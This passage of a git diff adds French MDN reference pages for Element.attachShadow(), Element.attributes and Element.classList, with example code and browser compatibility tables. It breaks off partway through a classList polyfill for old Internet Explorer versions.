+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("48.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>id</code> option</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("48.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>composite</code>, <code>iterationComposite</code>, and <code>spacing</code> options</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{ CompatGeckoMobile("48.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>id</code> option</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{ CompatGeckoMobile("48.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>composite</code>, <code>iterationComposite</code>, and <code>spacing</code> options</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Element.getAnimations()")}}</li>
+ <li>{{domxref("Animation")}}</li>
+</ul>
diff --git a/files/fr/web/api/element/attachshadow/index.html b/files/fr/web/api/element/attachshadow/index.html
new file mode 100644
index 0000000000..97ac7f7019
--- /dev/null
+++ b/files/fr/web/api/element/attachshadow/index.html
@@ -0,0 +1,54 @@
+---
+title: Element.attachShadow()
+slug: Web/API/Element/attachShadow
+translation_of: Web/API/Element/attachShadow
+---
+<p>{{APIRef('Shadow DOM')}} {{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>Element.attachShadow()</code></strong> attache un arbre Shadow DOM à un élément spécifié et retourne une référence à son <a href="https://developer.mozilla.org/en-US/docs/Web/API/ShadowRoot" title="Use Element.attachShadow to create an instance of shadow DOM. When shadow DOM is created, it is always attached to an existing element. After the shadow DOM is created, the element that it is attached to is called the shadow root."><code>ShadowRoot</code></a>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">var <em>shadowroot =</em><em> element</em>.attachShadow(<em>shadowRootInit</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>shadowRootInit</code></dt>
+ <dd>Un dictionnaire <code>ShadowRootInit</code>, avec les propriétés suivantes :
+ <ul>
+  <li><code>mode </code>: une chaîne de caractères spécifiant le <em>mode d'encapsulation</em> de l'arbre du Shadow DOM, parmi les options suivantes :
+   <ul>
+    <li><code>open : </code>spécifie une encapsulation ouverte.</li>
+    <li><code>closed</code> : spécifie une encapsulation fermée.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Retourne un {{domxref("ShadowRoot")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shadow DOM', '#widl-Element-attachShadow-ShadowRoot-ShadowRootInit-shadowRootInitDict', 'attachShadow()')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.Element.attachShadow")}}</p>
diff --git a/files/fr/web/api/element/attributes/index.html b/files/fr/web/api/element/attributes/index.html
new file mode 100644
index 0000000000..7ddf8438c3
--- /dev/null
+++ b/files/fr/web/api/element/attributes/index.html
@@ -0,0 +1,120 @@
+---
+title: element.attributes
+slug: Web/API/Element/attributes
+tags:
+  - API
+  - DOM
+  - Element
+  - Propriété
+  - Reference
+translation_of: Web/API/Element/attributes
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La propriété <strong><code>Element.attributes</code></strong> renvoie une collection des noeuds d'attribut enregistrés dans le noeud spécifié. Il est une {{domxref("NamedNodeMap")}}, pas un tableau (<em>Array</em>), aussi il n'a pas de méthodes  {{jsxref("Array")}} et l'index de noeud {{domxref("Attr")}} peuvent différer entre les navigateurs. <span id="result_box" lang="fr"><span>Pour être plus précis, les <code>attributs</code> sont une paire clé / valeur de chaînes représentant toutes les informations concernant cet attribut.</span></span></p>
+
+<h2 id="Syntaxe_et_valeurs" name="Syntaxe_et_valeurs">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>attr</em> =<em> element</em>.attributes;
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Exemples_basiques">Exemples basiques</h3>
+
+<pre>// récupère le premier élément &lt;p&gt; du document
+var para = document.getElementsByTagName("p")[0];
+var attr = para.attributes;
+</pre>
+
+<h3 id="Énumération_des_attributs_d'éléments">Énumération des attributs d'éléments</h3>
+
+<p><span id="result_box" lang="fr"><span>L'indexation numérique est utile pour parcourir tous les attributs d'un élément.</span><br>
+ <span>L'exemple suivant parcourt les nœuds d'attribut de l'élément du document avec l'ID "paragraph" et imprime la valeur de chaque attribut.</span></span></p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;Exemple d'attributs</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+   <span class="keyword token">function</span> <span class="function token">listAttributes</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+     <span class="keyword token">var</span> paragraph <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"paragraph"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+     <span class="keyword token">var</span> result <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"result"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+     <span class="comment token">// D'abord, vérifier que le "paragraph" a quelques attributs    </span>
+     <span class="keyword token">if</span> <span class="punctuation token">(</span>paragraph<span class="punctuation token">.</span><span class="function token">hasAttributes</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+       <span class="keyword token">var</span> attrs <span class="operator token">=</span> paragraph<span class="punctuation token">.</span>attributes<span class="punctuation token">;</span>
+       <span class="keyword token">var</span> output <span class="operator token">=</span> <span class="string token">""</span><span class="punctuation token">;</span>
+       <span class="keyword token">for</span><span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> attrs<span class="punctuation token">.</span>length <span class="operator token">-</span> <span class="number token">1</span><span class="punctuation token">;</span> i <span class="operator token">&gt;=</span> <span class="number token">0</span><span class="punctuation token">;</span> i<span class="operator token">--</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+         output <span class="operator token">+</span><span class="operator token">=</span> attrs<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>name <span class="operator token">+</span> <span class="string token">"-&gt;"</span> <span class="operator token">+</span> attrs<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+       <span class="punctuation token">}</span>
+       result<span class="punctuation token">.</span>value <span class="operator token">=</span> output<span class="punctuation token">;</span>
+     <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+       result<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">"No attributes to show"</span><span class="punctuation token">;</span>
+     <span class="punctuation token">}</span>
+   <span class="punctuation token">}</span>
+  </span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>paragraph<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">color</span><span class="punctuation token">:</span> green<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Sample Paragraph<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span> <span class="attr-name token">action</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Show first attribute name and value<span class="punctuation token">"</span></span>
+      <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>listAttributes();<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>result<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p> </p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-attributes', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>De {{SpecName('DOM3 Core')}}, déplacé de {{domxref("Node")}} à {{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement de {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Pas de changement de {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Element.attributes")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("NamedNodeMap")}}, l'interface de l'objet retourné</li>
+ <li><span id="result_box" lang="fr"><span>Considérations de compatibilité entre navigateurs : sur</span></span> <a class="external external-icon" href="http://www.quirksmode.org/dom/w3c_core.html#attributes" title="http://www.quirksmode.org/dom/w3c_core.html#attributes">quirksmode</a> (en)</li>
+</ul>
diff --git a/files/fr/web/api/element/classlist/index.html b/files/fr/web/api/element/classlist/index.html
new file mode 100644
index 0000000000..b14bd520a8
--- /dev/null
+++ b/files/fr/web/api/element/classlist/index.html
@@ -0,0 +1,286 @@
+---
+title: element.classList
+slug: Web/API/Element/classList
+tags:
+  - API
+  - Classe
+  - DOM
+  - Element
+  - Liste
+  - Propriétés
+translation_of: Web/API/Element/classList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propriété en lecture seule<strong> </strong> <code><strong>Element.classList</strong></code> retourne une collection directe  {{domxref("DOMTokenList")}} des attributs de classe de l'élément.</p>
+
+<p>L'utilisation de <code>classList</code> est une alternative à la propriété {{domxref("element.className")}} qui renvoie une chaine composée de la liste des classes, séparées par des espaces.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">const <var>elementClasses</var> = elementNodeReference.classList;
+</pre>
+
+<p><em>elementClasses</em> est une <a href="/en-US/docs/DOM/DOMTokenList" title="DOM/DOMTokenList">DOMTokenList</a> représentant l'attribut class de <em>elementNodeReference</em>. Si l'attribut class n'a pas été défini ou est vide <em>elementClasses.length</em> retourne 0. <code>element.classList</code> est en lecture seule. Pour la modifier il convient d'utiliser les méthodes <code>add()</code> et <code>remove()</code>.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>add( String [, String] )</dt>
+ <dd>Ajoute les classes spécifiées. Si une classe est déjà assignée en attribut de cet élément, elle est ignorée.</dd>
+ <dt>remove( String [, String] )</dt>
+ <dd>Supprime les classes spécifiées.<br>
+ <strong>Note:</strong> Supprimer une classe qui n'existe pas NE génère PAS d'erreurs.</dd>
+ <dt><strong>item</strong>( Number )</dt>
+ <dd>Renvoie la position d'une classe dans une collection.</dd>
+ <dt><strong>toggle</strong>( String [, force] )</dt>
+ <dd>Si un seul argument est présent : change la présence d'une classe dans la liste. Si la classe existe, alors la <u>supprime</u> et renvoie <code>false</code>, dans le cas inverse, <u>ajoute</u> cette classe et retourne <code>true</code>.<br>
+ Si le second argument est présent : Si l'argument <code>force</code> est à <code>true</code>, ajoute cette classe, si l'argument est à <code>false</code>, la supprime.</dd>
+ <dt>contains( String )</dt>
+ <dd>Vérifie si la classe spécifiée est présente dans la liste des classes attribuées à cet élément.</dd>
+ <dt>replace( oldClass, newClass )</dt>
+ <dd>Remplace une classe par une autre.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">const</span> div <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'div'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+div<span class="punctuation token">.</span>className <span class="operator token">=</span> <span class="string token">'foo'</span><span class="punctuation token">;</span>
+
+<span class="comment token">// notre point de départ: &lt;div class="foo"&gt;&lt;/div&gt;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>div<span class="punctuation token">.</span>outerHTML<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// utiliser l'API classList pour supprimer et ajouter des classes</span>
+div<span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">remove</span><span class="punctuation token">(</span><span class="string token">"foo"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+div<span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">add</span><span class="punctuation token">(</span><span class="string token">"anotherclass"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// &lt;div class="anotherclass"&gt;&lt;/div&gt;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>div<span class="punctuation token">.</span>outerHTML<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// si "visible" est défini, le supprimer, sinon, l'ajouter</span>
+div<span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">toggle</span><span class="punctuation token">(</span><span class="string token">"visible"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// ajouter/supprimer "visible", en fonction d'un test conditionnel, pour i inférieur à 10</span>
+div<span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">toggle</span><span class="punctuation token">(</span><span class="string token">"visible"</span><span class="punctuation token">,</span> i <span class="operator token">&lt;</span> <span class="number token">10</span> <span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>div<span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">contains</span><span class="punctuation token">(</span><span class="string token">"foo"</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// ajouter ou supprimer plusieurs classes</span>
+div<span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">add</span><span class="punctuation token">(</span><span class="string token">"foo"</span><span class="punctuation token">,</span> <span class="string token">"bar"</span><span class="punctuation token">,</span> <span class="string token">"baz"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+div<span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">remove</span><span class="punctuation token">(</span><span class="string token">"foo"</span><span class="punctuation token">,</span> <span class="string token">"bar"</span><span class="punctuation token">,</span> <span class="string token">"baz"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// ajouter ou supprimer plusieurs classes en utilisant la syntaxe de propagation</span>
+<span class="keyword token">const</span> cls <span class="operator token">=</span> <span class="punctuation token">[</span><span class="string token">"foo"</span><span class="punctuation token">,</span> <span class="string token">"bar"</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+div<span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">add</span><span class="punctuation token">(</span><span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span>cls<span class="punctuation token">)</span><span class="punctuation token">;</span>
+div<span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">remove</span><span class="punctuation token">(</span><span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span>cls<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// remplacer la classe "foo" par la classe "bar"</span>
+div<span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">replace</span><span class="punctuation token">(</span><span class="string token">"foo"</span><span class="punctuation token">,</span> <span class="string token">"bar"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<div class="note">
+<p class="brush: js">Les versions de Firefox antérieures à la 26 n'implémentent pas l'utilisation de plusieurs arguments dans les méthodes add/remove/toggle. Voir <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=814014">https://bugzilla.mozilla.org/show_bug.cgi?id=814014</a></p>
+</div>
+
+<h2 id="Prothèse_démulation">Prothèse d'émulation</h2>
+
+<p>L'ancien événement <code><a href="https://msdn.microsoft.com/en-us/windows/ms536956(v=vs.71)">onpropertychange</a></code> peut être utilisé pour créer une maquette <code>classList</code> vivante grâce à une propriété <code>Element.prototype.className</code> qui déclenche l'événement spécifié une fois qu'il est modifié.</p>
+
+<p>La polyfill suivante pour <code>classList</code> et <code>DOMTokenList</code> garantit une conformité <strong>totale</strong> (couverture) pour toutes les méthodes et propriétés standard de <code>Element.prototype.classList</code> pour les navigateurs <strong>IE10-IE11</strong> ainsi qu'un comportement quasi conforme pour <strong>IE 6-9</strong>. Consultez ce qui suit :</p>
+
+<pre class="brush: js">// 1. String.prototype.trim polyfill
+if (!"".trim) String.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); };
+(function(window){"use strict"; // prevent global namespace pollution
+if(!window.DOMException) (DOMException = function(reason){this.message = reason}).prototype = new Error;
+var wsRE = /[\11\12\14\15\40]/, wsIndex = 0, checkIfValidClassListEntry = function(O, V) {
+  if (V === "") throw new DOMException(
+    "Failed to execute '" + O + "' on 'DOMTokenList': The token provided must not be empty." );
+  if((wsIndex=V.search(wsRE))!==-1) throw new DOMException("Failed to execute '"+O+"' on 'DOMTokenList': " +
+    "The token provided ('"+V[wsIndex]+"') contains HTML space characters, which are not valid in tokens.");
+}
+// 2. Implement the barebones DOMTokenList livelyness polyfill
+if (typeof DOMTokenList !== "function") (function(window){
+    var document = window.document, Object = window.Object, hasOwnProp = Object.prototype.hasOwnProperty;
+    var defineProperty = Object.defineProperty, allowTokenListConstruction = 0, skipPropChange = 0;
+    function DOMTokenList(){
+        if (!allowTokenListConstruction) throw TypeError("Illegal constructor"); // internally let it through
+    }
+    DOMTokenList.prototype.toString = DOMTokenList.prototype.toLocaleString = function(){return this.value};
+    DOMTokenList.prototype.add = function(){
+        a: for(var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v!==argLen; ++v) {
+            val = arguments[v] + "", checkIfValidClassListEntry("add", val);
+            for (var i=0, Len=proto.length, resStr=val; i !== Len; ++i)
+                if (this[i] === val) continue a; else resStr += " " + this[i];
+            this[Len] = val, proto.length += 1, proto.value = resStr;
+        }
+        skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
+    };
+    DOMTokenList.prototype.remove = function(){
+        for (var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v !== argLen; ++v) {
+            val = arguments[v] + "", checkIfValidClassListEntry("remove", val);
+            for (var i=0, Len=proto.length, resStr="", is=0; i !== Len; ++i)
+                if(is){ this[i-1]=this[i] }else{ if(this[i] !== val){ resStr+=this[i]+" "; }else{ is=1; } }
+            if (!is) continue;
+            delete this[Len], proto.length -= 1, proto.value = resStr;
+        }
+        skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
+    };
+    window.DOMTokenList = DOMTokenList;
+    function whenPropChanges(){
+        var evt = window.event, prop = evt.propertyName;
+        if ( !skipPropChange &amp;&amp; (prop==="className" || (prop==="classList" &amp;&amp; !defineProperty)) ) {
+            var target = evt.srcElement, protoObjProto = target[" uCLp"], strval = "" + target[prop];
+            var tokens=strval.trim().split(wsRE), resTokenList=target[prop==="classList"?" uCL":"classList"];
+            var oldLen = protoObjProto.length;
+            a: for(var cI = 0, cLen = protoObjProto.length = tokens.length, sub = 0; cI !== cLen; ++cI){
+                for(var innerI=0; innerI!==cI; ++innerI) if(tokens[innerI]===tokens[cI]) {sub++; continue a;}
+                resTokenList[cI-sub] = tokens[cI];
+            }
+            for (var i=cLen-sub; i &lt; oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
+            if(prop !== "classList") return;
+            skipPropChange = 1, target.classList = resTokenList, target.className = strval;
+            skipPropChange = 0, resTokenList.length = tokens.length - sub;
+        }
+    }
+    function polyfillClassList(ele){
+        if (!ele || !("innerHTML" in ele)) throw TypeError("Illegal invocation");
+        ele.detachEvent( "onpropertychange", whenPropChanges ); // prevent duplicate handler infinite loop
+        allowTokenListConstruction = 1;
+        try{ function protoObj(){} protoObj.prototype = new DOMTokenList(); }
+        finally { allowTokenListConstruction = 0 }
+        var protoObjProto = protoObj.prototype, resTokenList = new protoObj();
+        a: for(var toks=ele.className.trim().split(wsRE), cI=0, cLen=toks.length, sub=0; cI !== cLen; ++cI){
+            for (var innerI=0; innerI !== cI; ++innerI) if (toks[innerI] === toks[cI]) { sub++; continue a; }
+            this[cI-sub] = toks[cI];
+        }
+        protoObjProto.length = cLen-sub, protoObjProto.value = ele.className, protoObjProto[" uCL"] = ele;
+        if (defineProperty) { defineProperty(ele, "classList", { // IE8 &amp; IE9 allow defineProperty on the DOM
+            enumerable:   1, get: function(){return resTokenList},
+            configurable: 0, set: function(newVal){
+                skipPropChange = 1, ele.className = protoObjProto.value = (newVal += ""), skipPropChange = 0;
+                var toks = newVal.trim().split(wsRE), oldLen = protoObjProto.length;
+                a: for(var cI = 0, cLen = protoObjProto.length = toks.length, sub = 0; cI !== cLen; ++cI){
+                    for(var innerI=0; innerI!==cI; ++innerI) if(toks[innerI]===toks[cI]) {sub++; continue a;}
+                    resTokenList[cI-sub] = toks[cI];
+                }
+                for (var i=cLen-sub; i &lt; oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
+            }
+        }); defineProperty(ele, " uCLp", { // for accessing the hidden prototype
+            enumerable: 0, configurable: 0, writeable: 0, value: protoObj.prototype
+        }); defineProperty(protoObjProto, " uCL", {
+            enumerable: 0, configurable: 0, writeable: 0, value: ele
+        }); } else { ele.classList=resTokenList, ele[" uCL"]=resTokenList, ele[" uCLp"]=protoObj.prototype; }
+        ele.attachEvent( "onpropertychange", whenPropChanges );
+    }
+    try { // Much faster &amp; cleaner version for IE8 &amp; IE9:
+        // Should work in IE8 because Element.prototype instanceof Node is true according to the specs
+        window.Object.defineProperty(window.Element.prototype, "classList", {
+            enumerable: 1,   get: function(val){
+                                 if (!hasOwnProp.call(this, "classList")) polyfillClassList(this);
+                                 return this.classList;
+                             },
+            configurable: 0, set: function(val){this.className = val}
+        });
+    } catch(e) { // Less performant fallback for older browsers (IE 6-8):
+        window[" uCL"] = polyfillClassList;
+        // the below code ensures polyfillClassList is applied to all current and future elements in the doc.
+        document.documentElement.firstChild.appendChild(document.createElement('style')).styleSheet.cssText=(
+            '_*{x-uCLp:expression(!this.hasOwnProperty("classList")&amp;&amp;window[" uCL"](this))}' + //  IE6
+            '[class]{x-uCLp/**/:expression(!this.hasOwnProperty("classList")&amp;&amp;window[" uCL"](this))}' //IE7-8
+        );
+    }
+})(window);
+// 3. Patch in unsupported methods in DOMTokenList
+(function(DOMTokenListProto, testClass){
+    if (!DOMTokenListProto.item) DOMTokenListProto.item = function(i){
+        function NullCheck(n) {return n===void 0 ? null : n} return NullCheck(this[i]);
+    };
+    if (!DOMTokenListProto.toggle || testClass.toggle("a",0)!==false) DOMTokenListProto.toggle=function(val){
+        if (arguments.length &gt; 1) return (this[arguments[1] ? "add" : "remove"](val), !!arguments[1]);
+        var oldValue = this.value;
+        return (this.remove(oldValue), oldValue === this.value &amp;&amp; (this.add(val), true) /*|| false*/);
+    };
+    if (!DOMTokenListProto.replace || typeof testClass.replace("a", "b") !== "boolean")
+        DOMTokenListProto.replace = function(oldToken, newToken){
+            checkIfValidClassListEntry("replace", oldToken), checkIfValidClassListEntry("replace", newToken);
+            var oldValue = this.value;
+            return (this.remove(oldToken), this.value !== oldValue &amp;&amp; (this.add(newToken), true));
